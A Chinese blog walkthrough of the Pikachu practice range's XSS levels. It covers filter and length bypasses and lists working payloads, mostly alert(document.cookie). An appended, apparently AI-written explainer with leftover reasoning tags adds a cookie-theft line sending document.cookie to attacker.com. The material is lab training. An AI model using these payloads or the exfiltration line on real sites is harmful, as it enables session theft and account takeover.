pikachu靶场XSS学习

本文介绍了反射型XSS(GET/POST)的突破方法,包括长度限制绕过、hackbar工具利用,以及存储型、DOM型XSS的payload构造与规避过滤。作者通过实例演示了如何在各种场景下利用XSS技术,并探讨了如htmlspecialchars、href与js输出的绕过策略。

前言

文章同步于我的个人博客https://quan9i.top/pikachu,欢迎大家访问
感觉XSS挺有趣的,抽空刷一下XSS的小题

反射型XSS(get)

本来想着应该是没有什么限制的,但是输入的时候却发现貌似限制了长度,检查前端js代码
在这里插入图片描述
直接把20给它改成100
在这里插入图片描述
此时可以输入了,注入payload如下

<script>alert(document.cookie)</script>

在这里插入图片描述

方法二

虽然限制了长度,但我们还可以借助hackbar这种工具,对其进行注入
在这里插入图片描述

反射型XSS(post)

尝试简单sql注入登录后台,不过没弄出来,我这个菜鸡太菜了,此时我想的是扫描后端文件,看看能不能直接进入
在这里插入图片描述
用御剑扫描到了文件,但登录这个界面会因为没有登录而立即跳回登录界面,想想也是,这么简单就能绕过的话还登录干啥,无奈之下查看提示后进行登录,然后传入如下payload即可得到cookie

<body onload=alert(document.cookie)>

在这里插入图片描述

存储型XSS

发现没有什么过滤的,直接就是怒火焚身,啊呸,玩游戏玩多了,是获取cookie,构造payload

<img src=1 onerror=alert(document.cookie)>

在这里插入图片描述

DOM型XSS

本关先随便输入一下
在这里插入图片描述
发现这个东西他回显的不正常,猜想可能存在过滤啥的,看源代码
在这里插入图片描述

他还给出了提示,我们分析一下关键代码

 function domxss(){
                        var str = document.getElementById("text").value;
                        document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
                    }

在获取到id为text的值后赋值给变量str,str被拼接到了a标签中,我们知道a标签中href是个插入链接的,我们想执行我们的语句的话就必须要让这个href跟我们的语句无关,那想让他无关的话我们这时候就想到了将a标签闭合,此时那个href里还有个'需要给它闭合上,因此我们构造语句前加上'>即可,可能有师傅会问双引号为啥不用闭,这里双引号就作为href的值了,因此不用闭就行,我们构造payload如下

'> <img src=1 onerror=alert(document.cookie)>

在这里插入图片描述
当然,提示给的那种方法也是可以的,payload如下

'> <img src=1 onmouseover=alert(document.cookie)>

这种的话需要你鼠标点到那个图片那里就可以出现我们插入的了,原因是onmouseover事件是将鼠标指针移动到图像上时执行 JavaScript

DOM型XSS -X

输入后回显仍然不对,看源代码
在这里插入图片描述
这个自定义函数输出了一段话,就是这个就让往事都随风,都随风吧,因此一但有这句话出现,就说明自定义函数执行了,然后其实他的闭合方式是和上关一样的,不过上关引用的时候没有添加语句,是直接引用的,这关多了一个语句,它有个onclick属性,指向了我们自定义的函数,因此我们在输入我们的语句后,就已经存储到了domxss那个自定义函数里,但是我们需要把他调出来用,这个时候就需要借用onclick,好吧,其实说人话就是点一下那个先出来的超链接就可以了,构造payload同上

'><img src=1 onerror=alert(document.cookie)>

在这里插入图片描述

xss盲打

注入一些xss后没啥反应
在这里插入图片描述

暂时没啥思路,遇事不决先扫一下
在这里插入图片描述
发现有个管理员登录文件,进去看看
在这里插入图片描述
盲猜密码是123456,登录进去瞅瞅
在这里插入图片描述
给了个弹窗,这不就是我注入进去的吗
在这里插入图片描述
可以发现注入进去了,只不过不在界面上显示而已

xss之过滤

这关过滤了一些东西啊
在这里插入图片描述
这个我输入那么多,就出来一个>,我前面的<script没了,说明肯定过滤了<script无法直接使用的话,我们可以尝试大小写给它绕一下子,构造payload如下

<Script>alert(document.cookie)</Script>

执行结果
在这里插入图片描述
尝试用双写绕过,构造payload如下

<sc<scriptript>alert(1)</sc<scriptript>

不过结果不尽人意,还是被过滤了,说明这里用了正则表达式,应该是<(.*)s(.*)c(.*)这种方式,无论如何插入都会被过滤

方法二

其实除了scipt标签,还有很多可以使用,这里列举两个

<body onload=alert(document.cookie)>
<img src=1 onerror=alert(document.cookie)>

在这里插入图片描述

XSS之htmlspecialchars

首先我们需要了解一下这个函数

PHP htmlspecialchars() 函数

定义和用法
htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。

预定义的字符是:

& (和号)成为 &amp;
" (双引号)成为 &quot;
' (单引号)成为 '
< (小于)成为 &lt;
> (大于)成为 &gt;
提示:要把特殊的 HTML 实体转换回字符,请使用 htmlspecialchars_decode() 函数。

语法
htmlspecialchars(string,flags,character-set,double_encode)

参数	描述
string	必需。规定要转换的字符串。
flags	可选。规定如何处理引号、无效的编码以及使用哪种文档类型。
可用的引号类型:

ENT_COMPAT - 默认。仅编码双引号。
ENT_QUOTES - 编码双引号和单引号。
ENT_NOQUOTES - 不编码任何引号。
无效的编码:

ENT_IGNORE - 忽略无效的编码,而不是让函数返回一个空的字符串。应尽量避免,因为这可能对安全性有影响。
ENT_SUBSTITUTE - 把无效的编码替代成一个指定的带有 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD; 的字符,而不是返回一个空的字符串。
ENT_DISALLOWED - 把指定文档类型中的无效代码点替代成 Unicode 替代字符 U+FFFD(UTF-8)或者 &#FFFD;

实例
把预定义的字符 "<" (小于)和 ">" (大于)转换为 HTML 实体:
<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>
上面代码输出如下
This is some <b>bold</b> text.
其实就是把本来应该有特殊含义的标签给你转成实体了

这里猜测的话,他是默认那种情况,编码了双引号,现在的语句是<a href="插入">插入</a>这种形式,都会转为超链接那种形式,那我们给他添加一个点击标签,然后植入我们的恶意语句即可,看这个href我们href里还是空的,我们不需要他跳转到某个界面,因此我们直接输入#就可以,此时没有闭合,我们无法插入onclik属性,我们需要一个',这时闭合了,然后我们引入我们的onclick=alert(document.cookie),但是呢,我们的href标签本身他是有两个"的,还有一个在最后面,这个也需要闭合,因此我们在alert前面插入'即可,构造最终payload如下

#' οnclick='alert(document.cookie)

在这里插入图片描述
如果有师傅想问这种思路怎么来的,那就是测试,你本地输入12,对代码进行检查,就会看出他的格式是<a href="插入">插入</a>
在这里插入图片描述

XSS之href输出

沿用上关payload进行尝试,发现不行,查看js代码
在这里插入图片描述
发现单引号没用了,这里学习过后得知在a标签的href属性里面,可以使用javascript协议来执行js,因此我们构造payload如下

 javascript:alert(document.cookie) 

在这里插入图片描述

XSS之js输出

我们先随便输入,然后查看源代码
在这里插入图片描述
123214是我输入的内容,他这里的话你怎么输入都是没法绕过的,else执行那里alert后面还有东西,这里也是无法进行弹窗的,那我们直接将其闭合,自己构造语句来进行即可,构造payload如下

</script><script>alert(document.cookie)</script>

在这里插入图片描述

<think> 嗯...用户想了解Pikachu靶场XSS攻击的核心原理,这需要结合跨站脚本漏洞的本质来解释。用户提供的四个引用都很有价值,特别是引用[2]明确指出XSS是前端漏洞,引用[1][3][4]则展示了具体攻击场景。 注意到引用[2]的关键描述:XSS形成是因为程序对输入输出处理不当,导致恶意代码被浏览器执行。这其实就是最核心的原理。用户可能希望更形象的理解,需要把抽象原理和Pikachu实例结合说明。 从技术深度看,用户能提出"原理"这个关键词,应该有一定Web安全基础,但可能对XSS的具体实现机制还不清晰。需要区分三种XSS:反射(如引用[3]的<script>闭合案例)、存储(如引用[1]的获取cookie)、DOM(引用[4]的onclick案例),但首次解释原理时不宜太细分。 特别要注意引用[3][4]展示的技术细节:攻击者需要精心构造payload来突破现有HTML结构,比如用'>闭合标签或构造新事件属性。这个"突破结构"的过程就是原理的核心实践。 用户情绪应该是认真求知状态,回复要兼顾严谨性和可读性。最后生成的三个问题覆盖了原理深化(Q1)、防御实践(Q2)和漏洞关联(Q3),形成完整学习路径。 </think> Pikachu靶场中的XSS攻击原理本质上是**利用Web应用对用户输入的不当处理,诱使浏览器执行恶意脚本**。其核心过程如下: ### 核心原理 1. **恶意脚本注入** 攻击者在Web应用的可输入点(如搜索框、留言板)提交包含恶意JavaScript代码的输入。系统未充分过滤或转义这些输入,例如: ```javascript <script>alert('XSS');</script> ``` 或利用事件属性(如引用[4]示例): ```html ' onclick="alert(111)"> <!-- 闭合原有标签并插入新事件 --> ``` 2. **恶意代码存储/反射** - **存储XSS**:恶意脚本被保存到服务器(如数据库),其他用户访问时自动执行(引用[2])。 - **反射XSS**:脚本通过URL参数传递,服务端直接返回含恶意代码的页面(引用[1][3])。 - **DOMXSS**:前端JavaScript不当操作DOM,直接执行攻击代码(引用[2][4])。 3. **浏览器执行** 当用户访问包含恶意代码的页面时,浏览器将其视为合法脚本执行。例如: - 窃取Cookie(引用[1]):`<script>document.location='http://attacker.com/?cookie='+document.cookie</script>` - 钓鱼攻击:伪造登录表单诱导用户输入凭证(引用[1])。 ### 漏洞根源(引用[2]) 1. **输入未过滤** 未对用户输入的`<`, `>`, `"`, `'` 等特殊字符进行过滤或编码。 2. **输出未转义** 服务端或前端将用户输入直接嵌入HTML/JavaScript上下文,未转义危险字符: ```php // 错误示例:直接输出未转义的用户输入 echo "<div>" . $_GET['input'] . "</div>"; ``` 正确做法应使用`htmlspecialchars()`等函数转义(引用[1][2])。 ### Pikachu靶场案例 1. **DOMXSS(引用[3][4])** 攻击闭合前标签并插入新事件: ```javascript ' onclick="alert(111)" > // 闭合<a>标签的href属性 ``` 最终生成: ```html <a href='#' onclick="alert(111)">what do you see?</a> ``` 2. **绕过过滤(引用[3])** 当`<script>`被过滤时,改用`<img>`标签触发: ```html <img src=x onerror=alert(1)> // 利用加载失败事件 ``` ### 防御措施(引用[1][2]) | 措施 | 实现方式 | |---------------------|----------------------------------| | **输入过滤** | 移除或编码`< > " '`等危险字符 | | **输出转义** | 根据上下文使用HTML/JS转义函数 | | **内容安全策略** | 设置CSP头限制脚本来源 | | **HttpOnly Cookie** | 防止JavaScript窃取敏感Cookie | > 总结:XSS本质是**"数据被误解析为代码"**。Pikachu靶场通过模拟未过滤/未转义的用户输入场景,揭示攻击者如何利用此漏洞控制用户浏览器[^1][^2][^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值